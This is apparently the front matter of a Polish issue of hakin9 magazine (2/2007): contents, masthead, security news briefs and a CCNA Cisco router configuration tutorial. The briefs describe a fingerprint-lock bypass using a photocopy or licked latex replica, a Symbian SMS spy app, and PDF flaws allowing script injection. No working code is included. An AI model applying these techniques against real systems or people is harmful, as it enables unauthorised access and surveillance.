Hakin9 22 (02 2007) PL

www.hakin9.org

hakin9 Nr 2/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Przedstawiamy garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych.

Zawartość CD

Beata Żebrowska

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Wojciech Trynkowski

Wojciech przetestował narzędzie dostarczone przez

firmę D-Link. Opisuje wady i zalety przetestowane-

go sprzętu

Atak

DDoS – Nowoczesne metody

ataku i obrony

Michał Garcarz, Janusz Sosnowski

Autorzy przedstawiają nowoczesne ataki odmowy

usługi DoS, jak również DDoS, których celem jest

uniemożliwienie dostępu do usług informatycznych

uprawnionym użytkownikom.

Przecinanie kabla

– atak TCP Reset

Marcin Ulikowski

Protokuł TCP należy do warstwy transportowej

modelu OSI odpowiedzialnego za kontrolę przepły-

wu poprawności danych. Marcin opisuje atak TCP

Reset i sposób zabezpieczenia systemu przed tego

rodzaju atakiem. Twórcy protokołu TCP nie przewi-

dzieli, że taki sam rozmiar pewnego pola w nagłówku

może stać się po wielu latach problemem.

Jak ominąć zabezpieczenie

mieszania stosu w kernelu 2.6

Enrico Feresin

Autor opisuje jak ominąć zapezpieczenie mieszania

stosu w linuxowym kernelu 2.6 posiadającego zabez-

pieczenie, które chroni system exploitami opartymi

na przepełnienie buforu: początek stosu każdego

procesu jest mieszany.

Hakowanie Internet Explorer

Krzysztof Kozłowski

Autor przedstawia niedoskonałości Internet Explore-

ra i wskazuje metody jak zabezpieczyć się przed ata-

kami z sieci. Z uwagi na fakt, że IE jest mocno zinte-

growany z Windowsem, często udany atak na prze-

glądarkę prowadzi do uzyskania dostępu do systemu

operacyjnego.

http://www.buyitpress.com

www.hakin9.org

hakin9 Nr 2/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

ClamAV, czyli jak to robią małże...

Tomasz Kojm

Tomasz przedstawia budowę ClamAntiVirus, wyko-

rzystanie biblioteki libclamav jak również sposób

stworzenia własnej sygnatury wirusa dla ClamAV.

Bezpieczeństwo

w Internet Explorer 7

Artur Żarski

W dniu pojawienia się pierwszej publicznej wersji IE7

rozpoczeła się dyskusja na temat bezpieczeństwa tego

produktu. Przeglądarka zawiera dużo nowych funkcji,

które mają zwiększyć bezpieczeństwo użytkownika.

Artur przedstawia sposób zabezpieczenia przeglądarki.

Tunele TUN/TAP

w systemech Linux/Unix

Paweł Maziarz

Paweł opisuje sposób działania tuneli TUN/TAP a także

przedstawia sposoby wykorzystania tuneli podczas

tworzenia własnych aplikacji używając tych tuneli.

Testy konsumenckie

Skanery bezpieczeństwa

Użytkownicy dzielą się z nami swoimi opiniami

na temat popularnych skanerów bezpieczeństwa.

Przedstawiają największe wady i zalety. Znajdziesz

tu opinie skanerów: Kaspersky Anti-Virus, mks_vir,

Avast, Ad-Aware Profesional, HiJack This.

Wywiad

Wywiad z Jarosławem Samonkiem

z firmy Symantec

Beata Żebrowska

Jarosław Samonek Country Manager firmy Syman-

tec.

Księgozbiór

Krystyna Wal, Łukasz Długosz

Recenzujemy książki: 19 grzechów śmiertelnych, Bez-

pieczeństwo protokołu TCP/IP, C/C++. Bezpieczne pro-

gramowanie. Receptury; Spamowi STOP! Bayesowskie

filtrowanie zawartości i sztuka statystycznej klasyfikacji

języka.

Zapowiedzi

Beata Żebrowska

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Beata Żebrowska

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Piotr Kabaciński,

Kamil Pociask

Korekta: Mariusz Kalata musil@wp.pl

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 2/2007

Namierzony przez Skype'a

Były szef izraelskiej firmy Comver-

se działającej na rynku VoIP, Jacob

Alexander, występujący w sieci

pod nickiem Kobi, został schwyta-

ny na Sri Lance w chwilę po tym,

jak namierzono jego jednominuto-

wą rozmowę przeprowadzoną przy

pomocy komunikatora Skype.

Jacob Alexander ukrywał się przed

amerykańskim wymiarem sprawiedli-

wości, ponieważ został oskarżony o

defraudacje i oszustwa giełdowe. Do

końca nie było jasne, jaki kierunek

obrał zbieg. Niektóre źródła poda-

wały, ze Jacob najprawdopodobniej

uciekł do Izreala, na co wskazywać

miałby wykonany na chwilę przed

zniknięciem przelew na 57 milionów

dolarów, właśnie na izraelskie konto

Jacoba. Inni twierdzili, że miejscem

ucieczki były Niemcy - jako państwo,

z którego nie można wykonać eks-

tradycji do USA.

Technika namierzania, którą wyko-

rzystała policja nie jest dokładnie

znana. Spekuluje się, że osoba, do

której dzwonił Jacob była na pod-

słuchu.

Należy pamiętać, że IP użytkowni-

ka Skype'a jest zapisywane podczas

logowania na serwerach komunikato-

ra. Policja może więc zdobyć nakaz i

uzyskać dostęp do logów. Do tej

pory komunikator Skype, ze wzglę-

du na wykorzystywanie kryptogra-

fii i architektury peer-to-peer posia-

dał renomę bezpiecznego narzędzia

komunikacji. W związku z tym pozo-

stawał ulubionym narzędziem inter-

netowych rzezimieszków - znane są

przykłady wykorzystywania Skype-

'a do „bezpiecznego” kontrolowania

sieci botnetów.

Ostatnie wydarzenia, jak i głębsza

analiza na podstawie reverse-engi-

neeringu protokołu Skype'a poka-

zała, że IP użytkownika jest moż-

liwe do odczytania praktycznie na

każdym etapie połączenia.

Bezpieczne Gadu-Gadu

Taką nazwę przybrała wspólna

akcja informacyjna CERT-u i Gadu-

Gadu, skierowana do niezaawan-

sowanych komputerowo użytkow-

ników popularnego w Polsce komu-

nikatora.

Specjalna strona http://bezpieczne.

gadu-gadu.pl zawiera informacje

dot. zasad bezpiecznego korzy-

stania z internetu oraz program o

nazwie Bezpiecznik, którego zada-

niem jest usuwanie złośliwego opro-

gramowania.

Kserokopia zastąpi brakujący kciuk

wórcy programu telewizyjnego
Mythbusters zademonstrowali

prostą metodę na obejście zabez-
pieczeń biometrycznych sprze-
dawanych przez popularnych na
rynku producentów. Do otwarcia
zamka sprawdzającego odciska
palca użyli zwykłej kserokopii linii
papilarnych...

Autorzy programu postanowi-

li zmierzyć się z nowoczesnymi
zabezpieczeniami biometryczny-
mi, które powszechnie uznaje się
za nie do pokonania. Biometry-
ka obrosła w mit i większość osób
widzi ją jako za zabezpieczenie nie
do obejścia. Biometryka chętnie
wykorzystywana jest we wszelkie-
go rodzaju filmach, od futurystycz-
nego skanowania siatkówki jako
obowiązkowego elementu w Scien-
ce Fiction, aż po prymitywne odci-
nanie kciuka właściciela, znane już
bardziej z horrorów...

Tym bardziej zadziwiające jest,

że drzwi zabezpieczone zamkiem
weryfikującym odcisk palca otwar-
to za pomocą zwykłej kserokopii,
która przecież w żaden sposób nie
emuluje kciuka - jest dwuwymiaro-

wa, nie poci się, nie da się na niej
wyczuć pulsu i zmian temperatury.

Co ciekawe, próba ze znanym

i rozpropagowanym w filmach sen-
sacyjnych „odciskiem lateksowym”
nie była już pełna sukcesów. Jednak
pomimo niepowodzeń, prowadzą-
cy i tak zdołał otworzyć zamek przy
użyciu lateksowej repliki linii papilar-
nych - okazało się, że zwykle poliza-
nie sztucznego odcisku skutecznie
zmyliło czujnik w zamku i pozwoliło
na otwarcie drzwi.

Specjaliści do spraw bezpie-

czeństwa zazwyczaj długo głowią
się przed wprowadzeniem biome-
trycznych zabezpieczeń w swoich
firmach. Prawie zawsze, większość
pracowników mająca dostęp do
poufnych danych stanowczo opo-
wiada się za skorzystaniem ze
standardowych zamków. Wynika
to przede wszystkim ze strachu -
w razie napadu, zwykły klucz czy
kartę magnetyczną zawsze można
oddać napastnikowi - nawet, jeśli
miałoby to być okupione szamotani-
ną i kilkoma guzami - taką stratę pra-
cownik jest gotów ponieść. Gorzej już
z siatkówką, czy kciukiem...

Wrzeszczący telefon

mnezja i krzyk, to nowy sposób
na kradzieże telefonów komórko-

wych i PDA. Firma Synchronica wpro-
wadziła na rynek usługę o nazwie
Mobile Manager, która nazwać
można przenośnym trojanem.

W razie kradzieży „zainfekowa-

nego” urządzenia, jego prawowity
właściciel będzie mógł nim zdalnie
sterować - co nie jest niczym nowym,
bo od dawna można znaleźć narzę-
dzia spełniające podobne funkcje.
Przełomowy natomiast jest krzyk
urządzenia, działający na zasadzie
alarmu oraz centralna archiwizacja
danych (ściągnięcie ich z telefonu na
serwer firmy) a następnie wymaza-
nie pamięci aparatu.

Krzyk, z którego firma jest niesa-

mowicie dumna, można przetesto-
wać na sobie. Jego próbkę producent

udostępnia w sieci pod adresem http:

//www.synchronica.com/syncml-

download /synchronica-mobile-
manager-screams.mp3

Urządzenie ma wydawać z siebie

wrzaski do momentu wyjęcia baterii i
nawet zmiana karty SIM nie pomoże.
Usługa niestety jest płatna, ale na
pewno przypadnie do gustu osobom,
które na coraz potężniejszych smart-

phone'ach przenoszą coraz większe
ilości coraz bardziej poufnych danych.

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 2/2007

Sniffer na komórkę

Symbian to jeden z popularniej-

szych systemów operacyjnych na

telefony komórkowe. Jednak licz-

bie użytecznych aplikacji towa-

rzyszy także liczba złośliwego

oprogramowania. Program Allca-

no.A to sniffer, który potrafi prze-

chwycić zarówno otrzymywane,

jak i wysyłane przez użytkowni-

ka SMSy. Podejrzane wiadomo-

ści trafiają na uprzednio skonfigu-

rowany numer telefonu, dodatko-

wo obciążając rachunek zaatako-

wanego. Sam atak nie pozostawia

żadnego śladu w telefonie. Podwój-

nie wysłanych SMS-ów nie znaj-

dziemy w skrzynce nadawczej. Co

ciekawe, twórcy aplikacji, w przeci-

wieństwie do firm zajmujących się

bezpieczeństwem, nie postrzega-

ją jej jako wirusa. Program nie roz-

mnaża się bowiem samoistnie i nie

potrafi się przenosić na inne telefo-

ny, a jego instalacja zawsze musi

być świadoma, bo wymaga wpro-

wadzenia numeru IMEI aparatu. Z

racji popularności systemów moni-

toringu oraz znacznego rozwoju

platformy komórkowej, tego typu

aplikacji szpiegowskich pojawia się

coraz więcej. Od darmowych ama-

torskich programików, po obszerne

korporacyjne. Jedne mają służyć

informowaniu prawowitego właści-

ciela o tym, co dzieje się z apara-

tem - gdyby ten został skradziony,

inne maja za zadanie monitorować

wydajność oraz lojalność pracowni-

ków i są instalowane na zlecenie

szefostwa. Jeśli chcemy być pewni,

że na naszym telefonie nie znajdu-

ją się podejrzane aplikacje, zawsze

możemy skorzystać z antywirusa

firmy F-Secure.

Internet Explorer za tarczą

rowserShield, to nowa usługa
stworzona

dla

przeglądar-

ki Internet Explorer, mająca pomóc
w wykrywaniu i zwalczaniu nie-
bezpiecznego kodu na podejrza-
nych stronach WWW, przypadkowo
odwiedzonych przez internautę.

Nowy system zabezpieczeń dla

IE ma być inteligentny i przewidu-
jący, by móc ochronić przeglądar-
kę nawet, jeśli ta nie ma zainstalo-
wanej odpowiedniej poprawki. Przy-
pomina to trochę analizę heurystycz-
ną wykonywaną przez obecne na
rynku programy antywirusowe, gdy
niemożliwe jest dopasowanie żadnej
sygnatury wirusa do sprawdzanego
pod kątem infekcji pliku.

Microsoft zapewnia, że oglą-

dane przez użytkownika strony
będą analizowane i oczyszcza-
ne z kodu przez specjalny parser,
zanim jeszcze zostaną wyświetlo-
ne na ekranie. Operacja jest więc
dla użytkownika przezroczysta i w

żaden sposób nie wpływa na kom-
fort przeglądania sieci. Problemem
może być jedynie narzut czaso-
wy, jaki jest potrzebny by zanalizo-
wać kod każdej z otwieranych stron
WWW.

Producent zaleca używanie

BrowserShield razem z programa-
mi antywirusowymi i firewallami,
ponieważ usługa w żaden sposób
nie chroni przed złośliwym kodem
całego komputera, skupia się wyłącz-
nie na zapewnieniu bezpieczeństwa
przeglądarce. Testy wykazały, że
BrowserShield poradził sobie z więk-
szością stron WWW zawierającą w
kodzie przykładowe exploity. Istnie-
je wiele serwerów proxy, które sku-
piają się na filtrowaniu dokumentów
HTML. Z reguły jednak, są to skom-
plikowane aplikacje i ich konfiguracja
przerasta niezaawansowanych użyt-
kowników. Dlatego proste w obsłu-
dze narzędzie Microsoftu znajdzie
wielu zwolenników.

PDF zhackowany!

rytyjski specjalista ds. bezpie-
czeństwa, David Kierznowski,

odkrył dziurę w formacie Adobe PDF,
pozwalającą na przeprowadzenie
zdalnego ataku na komputer ofiary.
Hacker wyznał, że odkryte przez
niego nieprawidłowości nie są wyni-
kiem umyślnego błędu, a raczej sub-
telnych możliwości, jakie udostępnia
format PDF - możliwości, o których
nikt nie pomyślał, że mogłyby kiedy-
kolwiek stanowić zagrożenie.

Jeden z pierwszych exploitów

demonstrujących atak dodawał do
treści dokumentu PDF podstawiony
link, który zaraz po wczytaniu pliku
był automatycznie otwierany przez
przeglądarkę. Według Kierznowskie-
go, lekka modyfikacja kodu exploita
spowodowałaby wykonanie dowol-
nego kodu w systemie.

Okazało się również, że na atak

podatna jest nie tylko najświeższa
wersja Adobe Acrobat Readera, ale
także inny produkt - Adobe Profes-
sional. Kierznowski i na to narzę-

dzie zaprezentował exploita. Za
jego pomocą najpierw połączył się z
lokalną, windowsową ODBC (Open
DataBase Connectivity), a następnie
enumerował dostępne bazy danych i
wysyłał raporty z powrotem na kom-
puter o fiary, za pomocą zewnętrznej
usługi w sieci WWW. Ten niegroźny
scenariusz w kilka minut mógł zostać
przystosowany do niebezpieczne-
go ataku, w którym cyberprzestępca
uzyskuje dostępu do lokalnej bazy
danych użytkownika z zewnątrz,
za pomocą wyłącznie przeglądar-
ki WWW.

Kierznowski zakomunikował, że

istnieje jeszcze co najmniej siedem
nieprawidłowości w PDF, które odpo-
wiednio wykorzystane mogą stano-
wić realne zagrożenie.

Ciekawym zastosowaniem jednej

z dziur było wstrzyknięcie kodu Java-
Script do dokumentu PDF. Dokładny
opis luk, Kierznowski przedstawia na
swoim blogu: http://michaeldaw.org/

md-hacks/backdooring-pdf-files/

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

Sekwencja uruchomieniowa routera

oraz tryb konfiguracyjny

Router uruchamia się poprzez załadowanie programu
rozruchowego, systemu operacyjnego oraz pliku konfigu-
racyjnego. Jeżeli router nie może znaleźć pliku konfigu-
racyjnego, przechodzi do trybu konfiguracji. Router prze-
chowuje kopię zapasową nowo utworzonego pliku kon-
figuracyjnego, utworzonego w trybie konfiguracji w pa-
mięci nieulotnej o dostępie swobodnym. Po uruchomie-
niu routera przeprowadzi on samodzielny test (POST, po-
wer-on self-test). Podczas samotestowania router prze-
prowadza diagnostykę wszystkich modułów sprzęto-
wych. Diagnostyka pozwala sprawdzić podstawowe dzia-
łanie komponentów sprzętowych routera.

Po przeprowadzeniu autotestu routera, podczas jego

inicjalizacji następuje:

• Uruchomienie programu na karcie CPU znajdującego

się w pamięci ROM.

• Załadowanie obrazu Cisco IOS. Po rozpoczęciu dzia-

łania systemu operacyjnego, lokalizuje on komponen-
ty sprzętowe i programowe. Ich łączne zestawienie
zostanie wyświetlone na terminalu konsoli.

• Zapisanie pliku konfiguracyjnego w pamięci NVRAM

lub na serwerze TFTP

• Załadowanie do pamięci głównej wykonanie kolej-

nych wierszy poleceń.

• Przeprowadzenie .procedury początkowej konfigura-

cji opartej na pytaniach jeśli w pamięci NVRAM nie
istnieje prawidłowy plik konfiguracyjny lub pamięć
NVRAM została wymazana.

Do komunikacji z routerem używamy programu HyperTer-
minal, który należy odpowiednio skonfigurować. Wszyst-
kie routery Cisco używają asynchroniczny, szeregowy
port konsoli ze złączem RJ-45. Aby połączyć konsolę ter-
minalu z portem konsoli, potrzebne są kable i przejściów-

Kurs na certyfikat CISCO CCNA

ki. Aby podłączyć komputer z uruchomionym emulatorem
terminalu do portu konsoli, należy użyć kabla typu rollo-
ver zakończonego złączem RJ-45 oraz przejściówki żeń-
skiej RJ-45 na DB-9, lub RJ-45 na DB-25. Domyślne pa-
rametry portu konsoli to szybkość 9600 b/s, 8 bitów da-
nych, bez parzystości, 1 bit stopu oraz brak kontroli prze-
pływu. Port konsoli nie obsługuje sprzętowej kontroli
przepływu. Aby skonfigurować router Cisco, należy uzy-
skać dostęp do interfejsu użytkownika poprzez terminal
lub zdalny dostęp. Podczas uzyskiwania dostępu do ro-
utera użytkownik musi się zalogować, zanim będzie mógł
wydawać polecenia. Dla bezpieczeństwa router posiada
dwa poziomy dostępu do poleceń:

• Tryb użytkownika (User EXEC mode) - Typowe zadania

związane ze sprawdzaniem statusu routera. W tym try-
bie niedozwolone są zmiany konfiguracji routera.

• Tryb uprzywilejowany (Priviledged EXEC mode) - Ty-

powe zadania związane ze zmianami konfiguracji ro-
utera.

Tryby konfiguracji routera

Polecenia globalnego trybu konfiguracji są wykorzysty-
wane do wprowadzenia poleceń konfiguracyjnych, doty-
czących routera jako całości. Aby wejść do trybu konfigu-
racji globalnej, należy w trybie uprzywilejowanym wpisać
polecenie configure. Po wpisaniu tego polecenia poja-
wia się zapytanie o źródło wprowadzonych poleceń kon-
figuracyjnych, w którym można określić terminal, pamięć
nvram lub serwer sieciowy.

Wpisanie polecenia exit w konkretnym trybie konfi-

guracyjnym powoduje przejście routera do trybu global-
nej konfiguracji. Wciśnięcie kombinacji CTRL-Z powodu-
je wyjście z trybu konfiguracji i powrót do trybu uprzywi-
lejowanego EXEC.

Konfigurowanie nazwy routera

Nazwanie routera pomaga lepiej zarządzać siecią po-
przez unikalną identyfikację każdej maszyny w sieci. Na-
zwę routera konfiguruje się w globalnym trybie konfigura-
cji. Nazwa routera jest określana nazwą hosta i wyświe-
tlana jest w znaku gotowości linii poleceń. Określenie na-
zwy routera następuje poprzez wydanie polecenia host-
name i nazwa routera.

Konfigurowanie

i ochrona haseł routera

Router może być zabezpieczony za pomocą haseł. Hasła
mogą zostać ustalone zarówno dla połączeń wirtualnego
terminalu, jak również dla połączeń konsolowych. Tak sa-
mo tryb EXEC też może być zabezpieczony.

Tryby konfiguracji

Interface

Router(config-if)#

Subinterface

Router(config-subif)#

Controller

Router(config-controller)#

Map-list

Router(config-map-list)#

Map-class

Router(config-map-class)#

Line

Router(config-line)#

Router

Router(config-router)#

Ip-router

Router(config-ipx-router)#

Router

Router(config-router-map)#

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

W trybie globalnej konfiguracji należy wydać pole-

cenie enable password, aby ograniczyć dostęp do try-
bu uprzywilejowanego. Hasło to będzie widoczne w pli-
ku konfiguracyjnym. Aby wprowadzić hasło zaszyfro-
wane należy wykonać polecenie enable secret. Hasło
skonfigurowane za pomocą enable secret, jest używane
zamiast hasła enable password. Hasła mogą być także
zabezpieczone przed podejrzeniem poprzez użycie po-
lecenia service password-encryption. Polecenie to jest
wpisywane w trybie globalnej konfiguracji. Linia poleceń
trybu użytkownika jest dostępna po zalogowaniu się do
routera. Dostępne na tym poziomie polecenia, są pod-
zbiorem poleceń dostępnych w trybie uprzywilejowanym
EXEC. Aby uzyskać dostęp do wszystkich poleceń, na-
leży wejść w tryb uprzywilejowany. Po znaku gotowości,
należy wpisać instrukcję enable. Jeżeli zostaniemy po-
proszeni o hasło, należy wprowadzić hasło które zostało
określone poprzez instrukcję enable secret. Gdy pomyśl-
nie zalogujemy się do trybu uprzywilejowanego znak go-
towości zmieni się na #. Istnieje kilka powodów dla któ-
rych router może nie uruchomić się prawidłowo:

• plik konfiguracyjny z brakującymi lub nieprawidłowymi

wpisami boot system

• nieprawidłowa wartość rejestru konfiguracji
• uszkodzony obraz oprogramowania w pamięci Flash
• uszkodzony sprzęt

Do sprawdzania stanu routera używamy poniższych in-
strukcji:

• show version - wyświetla konfigurację sprzętową sys-

temu, wersję oprogramowania, nazwy i źródła pli-
ków konfiguracyjnych i obrazów systemu, oraz powód
ostatniego restartu systemu operacyjnego

• show process - wyświetla informacje o aktywnych

procesach

• show protocol - wyświetla skonfigurowane protokoły.

Podaje status każdego skonfigurowanego protokołu
warstwy 3

• show memory - wyświetla informacje o dostępnej pa-

mięci, wraz ze statystykami wolnych obszarów pa-
mięci

• show stacks - monitoruje użycie stosu przez procesy i

procedury przerwań

• show buffers - dostarcza statystyk o buforze w routerze
• show flash - wyświetla informacje o urządzeniu pa-

mięci Flash

• show running-config - wyświetla plik aktywnej konfi-

guracji

• show startup-config - wyświetla plik konfiguracji zapa-

sowej

• show interface - wyświetla informacje o skonfigurowa-

nych interfejsach

W samym systemie operacyjnym występuje jeszcze wie-
le innych poleceń show, które pozwalają sprawdzić np.
zawartość plików w routerze. W każdym trybie można
wykonać polecenie show z dostępnymi opcjami:

• show controller serial - wyświetla informacje specy-

ficzne dla sprzętu interfejsu

• show clock - wyświetla ustawiony czas na routerze
• show hosts - wyświetla listę wszystkich nazw hostów

i adresów przechowywanych w pamięci podręcznej

• show users - wyświetla wszystkich użytkowników

podłączonych do routera

• show history - wyświetla historię wprowadzonych po-

leceń

• show flash - wyświetla informacje o pamięci Flash i

przechowywanych plikach Cisco IOS

• show version - wyświetla informacje o uruchomionym

obrazie IOS Cisco

• show arp - wyświetla tablicę arp

Konfigurowanie interfejsu

szeregowego w routerze

Interfejs szeregowy może zostać skonfigurowany zarówno
z konsoli, jak i przez sesję wirtualnego terminalu. Interfejs
szeregowy wymaga sygnału zegarowego w celu synchro-
nizacji transmisji. W większości środowisk DCE, takie jak
CSU/DSU, zapewnia sygnał zegarowy. Domyślnie routery
są urządzeniami DTE, ale mogą zostać skonfigurowane ja-
ko urządzenia DCE. W bezpośrednich połączeniach inter-
fejsów szeregowych jedna strona musi być skonfigurowa-
na jako urządzenie DCE i zapewnić sygnał taktujący. Ze-
gar jest włączany poprzez polecenie clockrate które okre-
śla jego prędkość. Dostępne wartości w bitach na sekundę
wynoszą: 1200, 2400, 9600, 19200, 38400, 56000, 64000,
72000, 125000, 148000, 500000, 800000, 1000000,
13000000, 2000000 i 4000000. Aby skonfigurować inter-
fejs szeregowy należy wykonać następujące czynności:

• uruchomić tryb globalnej konfiguracji
• uruchomić tryb konfiguracji interfejsu
• określić pasmo
• ustawić prędkość zegara DCE
• włączyć interfejs

Domyślnie wszystkie interfejsy są wyłączone. Aby włą-
czyć je należy podać polecenie no shutdown. Interfejs
może wymagać wyłączenia administracyjnego w celu
wykonania czynności konserwacyjnych. Polecenie shut-
down wyłącza interfejs.

Konfiguracja interfejsu Ethernet

Interfejs Ethernet skonfigurować można zarówno z kon-
soli, jak i z linii terminalu wirtualnego. Każdy taki interfejs,
musi posiadać adres IP i maskę podsieci. Aby skonfiguro-
wać interfejs Ethernet, należy wykonać czynności:

• uruchomić tryb globalnej konfiguracji
• uruchomić tryb konfiguracji interfejsu
• określić adres IP i maskę podsieci
• włączyć interfejs

Domyślnie interfejsy Ethernet są wyłączone. Aby włą-
czyć, należy wydać polecenie no shutdown. Natomiast
polecenie shutdown wyłącza interfejs.

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

Wykonywanie zmian na routerze

Do weryfikacji zmian na routerze, wydaje się polecenie
show running-config. Polecenie to wyświetla bieżącą kon-
figurację. Jeżeli wyświetlane zmienne nie są tym, co zamie-
rzono, można to poprawić poprzez wykonanie czynności:

• dodanie no do polecenia konfiguracyjnego
• ponowne uruchomienie systemu i załadowanie orygi-

nalnego pliku konfiguracji z pamięci NVRAM

• usunięcie pliku konfiguracji uruchomieniowej pole-

ceniem erase startup-config, uruchomienie routera
i wejście w tryb konfiguracji uruchomieniowej. Aby za-
pisać konfigurację do pliku konfiguracji uruchomie-
niowej w pamięci NVRAM, należy wydać polece-
nie w trybie uprzywilejowanym:

copy running-config

startup-config

Do zarządzania zawartością NVRAM w systemie Cisco
IOS służą polecenia:

• configure memory - ładuje informacje konfiguracyjne

z pamięci NVRAM

• erase startup-config - kasuje zawartość pamięci

NVRAM

• copy running-config startup-config - kopiuje bieżącą

konfigurację z pamięci RAM do pamięci NVRAM

• show startup-config - wyświetla zapisaną konfigura-

cję w pamięci NVRAM

Informacje logowania

Wiadomość logowania jest wiadomością wyświetlaną
przy logowaniu. Jest ona użyteczna do dostarczania wia-
domości dotyczących wszystkich użytkowników sieci, np.
informacje o zbliżającym się wyłączeniu systemu. Wia-
domość logowania powinna zawierać ostrzeżenie przed
próbą nieautoryzowanego logowania.

Wiadomość dnia (MOTD, Message of the day) lub

wiadomość logowania, może być wyświetlana na wszyst-
kich połączonych terminalach. Aby skonfigurować taką
wiadomość, należy wejść do trybu globalnej konfiguracji
i wydać polecenie banner motd. Następnie należy wpro-
wadzić po spacji znak separujący (np. @) i treść wiado-
mości. Po spacji należy ponownie wprowadzić wybrany
przez nas znak separujący. Do konfiguracji takiej wiado-
mości należy wykonać następujące czynności:

• uruchomić tryb globalnej konfiguracji poprzez wyko-

nanie polecenia configure terminal

• wprowadzić polecenie banner motd @ Wiadomość @

(znak @ można zastąpić dowolnym innym)

• zapisać zmieny, wydając polecenie copy running-

config startup=config, lub krócej copy run start

Rozwiązywanie nazw hostów

Rozwiązywanie nazw hostów jest procesem, w którym
system łączy nazwę komputera jego adresem sieciowym.
Protokoły takie jak telnet używają nazw hostów do roz-
poznawania urządzeń sieciowych. Aby korzystać z nazw
hostów w komunikacji z innymi urządzeniami IP, urządze-

nia sieciowe, takie jak routery, muszą być w stanie powią-
zać nazwę hosta z jego adresem IP. Tablica hostów może
zawierać wszystkie urządzenia w organizacji. Każdy uni-
katowy adres IP może mieć powiązaną ze sobą nazwę.

Protokół CDP

Protokół CDP jest protokołem warstwy 2, który łączy pro-
tokoły niższych warstw mediów fizycznych z protokołami
wyższych warstw sieci. CDP jest wykorzystywany do otrzy-
mywania informacji o urządzeniach sąsiadujących. Uzyska-
ne informacje zawierają m.in. rodzaje dołączonych urzą-
dzeń, interfejs routera, na którym się znajdują, interfejsy
wykorzystane do utworzenia połączenia oraz numery mo-
delu. CDP jest niezależy od mediów i protokołów i działa
na wszystkich urządzeniach firmy CISCO, poprzez protokół
SNAP. Więc podstawowym zastosowaniem CDP jest roz-
poznawanie wszystkich urządzeń Cisco, które są bezpo-
średnio dołączone do lokalnego urządzenia. Aby wyświe-
tlić przechowywane w pamięci informacje CDP, należy wy-
konać polecenie show cdp entry. Aby wyświetlić informacje
o sieciach przyłączonych bezpośrednio do routera, należy
wykonać polecenie show cdp neighbors. Polecenie show
cdp neighbors udostępnia nastęujące informacje:

• ID urządzenia
• interfejs lokalny
• czas przechowywania informacji
• możliwości
• platformę
• ID portu
• nazwę domeny VTP
• rodzimy VLAN
• pół/pełen dupleks

Aby wyświetlić wszystkie informacje generowane przez
instrukcję show cdp neighbors, jak i przez instrukcję
show cdp entry, należey wykonać opcjonalną komendę
show cdp neighbors detail. Polecenia protokołu CDP:

• cdp run – w trybie globalnej konfiguracji włącza proto-

kół CDP w routerze

• cdp enable – w trybie konfiguracji interfejsu włacza

protokół CDP na interfejsie

• clear cdp counteres – w trybie EXEC resetuje liczniki

ruchu do 0

• show cdp – w trybie EXEC wyświetla przerwę pomię-

dzy transmisjami ogłoszeń CDP, ilość czasu, w jakim
ogłoszenia

• CDP jest ważne na danym porcie, oraz wersję ogło-

szenia

• show cdp entry – w trybie exec wyświetla informację

o konkretnym sąsiedzie

• show cdp interface – w trybie exec wyświetla informa-

cje o interfejsach, na których CDP jest włączony

• show cdp neighbors – w trybie exec wyświetla rodzaj

urządzenia, które zostało ogłoszone, numer i rodzaj
lokalnego interfejsu, ilość sekund, przez które ogłosze-
